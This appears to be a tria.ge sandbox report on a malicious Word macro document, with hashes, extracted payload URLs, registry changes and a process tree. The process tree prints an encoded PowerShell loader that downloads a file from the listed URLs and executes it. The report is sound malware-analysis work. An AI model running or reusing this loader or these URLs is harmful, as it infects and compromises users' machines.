Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
28/05/2024, 16:13
Behavioral task
behavioral1
Sample
7d9345f36ad3cb0b0980f2df990c5a2b_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
7d9345f36ad3cb0b0980f2df990c5a2b_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
-
Target
7d9345f36ad3cb0b0980f2df990c5a2b_JaffaCakes118.doc
-
Size
200KB
-
MD5
7d9345f36ad3cb0b0980f2df990c5a2b
-
SHA1
6d8eaecab7e10a089c672202a519c1cf948cd285
-
SHA256
4da03f3dd9a88222f881491f8588fe3ffceac4027fd65dab832a3c1e0edcd512
-
SHA512
856b2e19e61e601454926fb01146237a85aee8763702cd3730bfa66dceee0496d57e763f62eacc147758df9d426969c45a7aa8b4f59a9647e24e63a1a5657360
-
SSDEEP
1536:04tcTv8kvjEuJ0dH5L0c4vs3ti18NmIIP4ovlnoR+a9vig7ix5EvGtaWWfjPYKwu:04tcTvjvTY140818tIP4ovp3LmGuoI
Malware Config
Extracted
http://veccino56.com/gjpra/4ZR/
http://girlgeekdinners.com/wp-content/Hpz/
http://marblingmagpie.com/COPYRIGHT/Ak/
http://aplicativoipok.net/wp-includes/ONW/
http://ec2-52-56-233-157.eu-west-2.compute.amazonaws.com/wp-includes/35/
https://shd7.life/mlktv/r6/
https://www.hairlineunisexsalon.com/demo/UX/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2632 2648 powershell.exe 28 -
Blocklisted process makes network request 5 IoCs
flow pid Process 5 2632 powershell.exe 6 2632 powershell.exe 7 2632 powershell.exe 9 2632 powershell.exe 12 2632 powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command WINWORD.EXE -
Modifies registry class 64 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{C600600E-9EF9-480A-8FA6-DE491488467B}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C600600E-9EF9-480A-8FA6-DE491488467B}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\TypeLib\{C600600E-9EF9-480A-8FA6-DE491488467B}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command WINWORD.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2104 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2104 WINWORD.EXE 2104 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2104 wrote to memory of 1532 2104 WINWORD.EXE 34 PID 2104 wrote to memory of 1532 2104 WINWORD.EXE 34 PID 2104 wrote to memory of 1532 2104 WINWORD.EXE 34 PID 2104 wrote to memory of 1532 2104 WINWORD.EXE 34
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7d9345f36ad3cb0b0980f2df990c5a2b_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1532
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQBcAEwAVwBmAHIAaAB4AFUAXABOAEwARgBrAFcANgAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AHIAaQB0AGAAWQBQAGAAUgBPAGAAVABvAGAAQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAUQBpAHMAbwA0ADkAOAAgAD0AIAAoACcAVQBrACcAKwAnAGYAJwArACgAJwBqADAAJwArACcAYgB3ACcAKQApADsAJABXAHAAcgBzADQANgAwAD0AKAAnAE0ANAAnACsAKAAnAHkAOABsACcAKwAnAG4AZAAnACkAKQA7ACQAUABwADgAXwA1ADAAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFMAJwArACcAbgAnACsAJwBIAEwAJwArACcAdwBmAHIAaAB4AHUAJwArACcAUwBuAEgAJwApACsAKAAnAE4AbABmACcAKwAnAGsAJwApACsAJwB3ACcAKwAnADYAJwArACgAJwAzACcAKwAnAFMAbgAnACkAKwAnAEgAJwApAC0AcgBFAHAATABBAEMARQAoACcAUwBuACcAKwAnAEgAJwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQBzAG8ANAA5ADgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABXADQAagB3AHMAaQBxAD0AKAAnAEwAJwArACcANQBzACcAKwAoACcAbQB6ACcAKwAnAHQAMgAnACkAKQA7ACQAVgBqAHoAaAAwAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwASQBFAE4AdAA7ACQASABtAGYANAB1AHQAYgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB2AGUAJwArACcAYwAnACkAKwAnAGMAJwArACgAJwBpAG4AbwA1ADYALgBjACcAKwAnAG8AbQAvAGcAJwArACcAagAnACsAJwBwACcAKQArACcAcgAnACsAJwBhAC8AJwArACgAJwA0AFoAUgAvACoAaAB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBnACcAKQArACgAJwBpAHIAbABnACcAKwAnAGUAJwApACsAKAAnAGUAawAnACsAJwBkACcAKQArACgAJwBpAG4AJwArACcAbgBlAHIAcwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAcAAtACcAKwAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwApACsAJwAvACcAKwAnAEgAcAAnACsAJwB6ACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACcAbQAnACsAJwBhACcAKwAnAHIAJwArACcAYgBsACcAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAG0AJwArACcAYQBnAHAAaQAnACkAKwAoACcAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvAEMAJwApACsAJwBPACcAKwAnAFAAJwArACcAWQAnACsAJwBSAEkAJwArACcARwBIACcAKwAnAFQAJwArACgAJwAvAEEAJwArACcAawAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAcABsAGkAYwAnACsAJwBhACcAKwAnAHQAaQAnACkAKwAnAHYAJwArACgAJwBvAGkAJwArACcAcABvACcAKQArACgAJwBrAC4AJwArACcAbgAnACkAKwAoACcAZQB0AC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkAGUAJwArACgAJwBzAC8ATwBOAFcALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBlAGMAJwArACcAMgAtACcAKQArACcANQAnACsAJwAyACcAKwAnAC0ANQAnACsAKAAnADYAJwArACcALQAyADMAMwAtACcAKQArACgAJwAxADUAJwArACcANwAuAGUAdQAtACcAKwAnAHcAZQBzAHQALQAnACkAKwAoACcAMgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwBwAHUAJwApACsAJwB0AGUAJwArACcALgAnACsAKAAnAGEAbQBhAHoAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwBhAHcAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwApACsAJwBsAHUAJwArACcAZAAnACsAKAAnAGUAJwArACcAcwAvADMANQAvACoAaAB0ACcAKwAnAHQAcABzADoALwAvACcAKwAnAHMAJwApACsAKAAnAGgAJwArACcAZAA3AC4AJwApACsAKAAnAGwAJwArACcAaQBmACcAKwAnAGUALwBtAGwAawAnACkAKwAnAHQAJwArACgAJwB2ACcAKwAnAC8AcgA2ACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACgAJwBoAGEAaQAnACsAJwByAGwAaQBuACcAKQArACcAZQAnACsAJwB1ACcAKwAoACcAbgAnACsAJwBpAHMAJwApACsAKAAnAGUAeABzACcAKwAnAGEAJwArACcAbABvAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBkACcAKQArACcAZQAnACsAJwBtACcAKwAnAG8ALwAnACsAJwBVACcAKwAnAFgAJwArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAB6AHoAMABjAGkAdAA9ACgAKAAnAFAAJwArACcAbgA2AGoAJwApACsAKAAnAGEAMAAnACsAJwBiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADIAdgA2AGQAdAAgAGkAbgAgACQASABtAGYANAB1AHQAYgApAHsAdAByAHkAewAkAFYAagB6AGgAMABrAHQALgAiAGQATwBXAGAATgBMAG8AYQBgAGQAZgBpAGAAbABlACIAKAAkAEcAegAyAHYANgBkAHQALAAgACQAUABwADgAXwA1ADAAZgApADsAJABFAGoAbwBmADMAXwBxAD0AKAAnAFoAJwArACcAdwAnACsAKAAnAGMAJwArACcAXwBtAHgAZAAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHAAOABfADUAMABmACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMAA2ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUABwADgAXwA1ADAAZgApADsAJABaAHcAdwB5AGYANQB4AD0AKAAoACcAWAAnACsAJwBhAGYAJwApACsAJwBvAGgAJwArACcANQBzACcAKQA7AGIAcgBlAGEAawA7ACQAQwBmAHEAZQB3ADgAbAA9ACgAJwBCAF8AJwArACgAJwByACcAKwAnAGcAdAAnACkAKwAnAGEAMAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAaABiAG4AcAAyAGEAPQAoACgAJwBUACcAKwAnADcANgAwAGwAJwApACsAJwBpADMAJwApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
Network
